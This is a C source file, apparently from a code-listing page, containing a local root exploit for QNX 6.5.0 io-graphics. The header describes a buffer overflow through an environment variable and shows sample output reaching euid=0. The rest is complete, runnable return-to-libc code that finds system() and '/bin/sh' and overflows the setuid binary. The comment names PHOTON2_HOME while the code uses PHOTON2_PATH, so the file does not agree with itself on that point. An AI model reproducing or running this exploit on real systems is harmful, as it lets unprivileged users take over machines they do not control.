1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 |
/* *QNX 6.5.0 x86 io-graphics local root exploit by cenobyte 2013 *<vincitamorpatriae@gmail.com> * * - vulnerability description: * Setuid root /usr/photon/bin/io-graphics on QNX is prone to a buffer overflow. * The vulnerability is due to insufficent bounds checking of the PHOTON2_HOME * environment variable. * * - vulnerable platforms: * QNX 6.5.0SP1 * QNX 6.5.0 * QNX 6.4.1 * * - not vulnerable: * QNX 6.3.0 * * - exploit information: * This is a return-to-libc exploit that yields euid=0. The addresses of * system() and exit() are retrieved from libc using dlsym(). * * The address of /bin/sh is retrieved by searching from address 0xb0300000. * * - example: * $ uname -a * QNX localhost 6.5.0 2010/07/09-14:44:03EDT x86pc x86 * $ id * uid=100(user) gid=100 * $ ./qnx-io-graphics * QNX io-graphics 6.5.0 x86 local root exploit by cenobyte 2013 * [-] system(): 0xb031bd80 * [-] exit(): 0xb032b5f0 * [-] /bin/sh: 0xb0374412 * # id * uid=100(user) gid=100 euid=0(root) * */ #include <dlfcn.h> #include <err.h> #include <signal.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #define VULN "PHOTON2_PATH=" static void fail(void); static void checknull(unsigned int addr); static unsigned int find_string(char *s); static unsigned int find_libc(char *syscall); void checknull(unsigned int addr) { if (!(addr & 0xff) || \ !(addr & 0xff00) || \ !(addr & 0xff0000) || \ !(addr & 0xff000000)) errx(1, "return-to-libc failed: " \ "0x%x contains a null byte", addr); } void fail(void) { printf("\n"); errx(1, "return-to-libc failed"); } unsigned int find_string(char *string) { unsigned int i; char *a; printf("[-] %s: ", string); signal(SIGSEGV, fail); for (i = 0xb0300000; i < 0xdeadbeef; i++) { a = i; if (strcmp(a, string) != 0) continue; printf("0x%x\n", i); checknull(i); return(i); } return(1); } unsigned int find_libc(char *syscall) { void *s; unsigned int syscall_addr; if (!(s = dlopen(NULL, RTLD_LAZY))) errx(1, "error: dlopen() failed"); if (!(syscall_addr = (unsigned int)dlsym(s, syscall))) errx(1, "error: dlsym() %s", syscall); printf("[-] %s(): 0x%x\n", syscall, syscall_addr); checknull(syscall_addr); return(syscall_addr); return(1); } int main() { unsigned int offset = 429; unsigned int system_addr; unsigned int exit_addr; unsigned int binsh_addr; char env[440]; char *prog[] = { "/usr/photon/bin/io-graphics", "io-graphics", NULL }; char *envp[] = { env, NULL }; printf("QNX 6.5.0 x86 io-graphics local root exploit by cenobyte 2013\n\n"); system_addr = find_libc("system"); exit_addr = find_libc("exit"); binsh_addr = find_string("/bin/sh"); memset(env, 0xEB, sizeof(env)); memcpy(env, VULN, strlen(VULN)); memcpy(env + offset, (char *)&system_addr, 4); memcpy(env + offset + 4, (char *)&exit_addr, 4); memcpy(env + offset + 8, (char *)&binsh_addr, 4); execve(prog[0], prog, envp); return(0); } |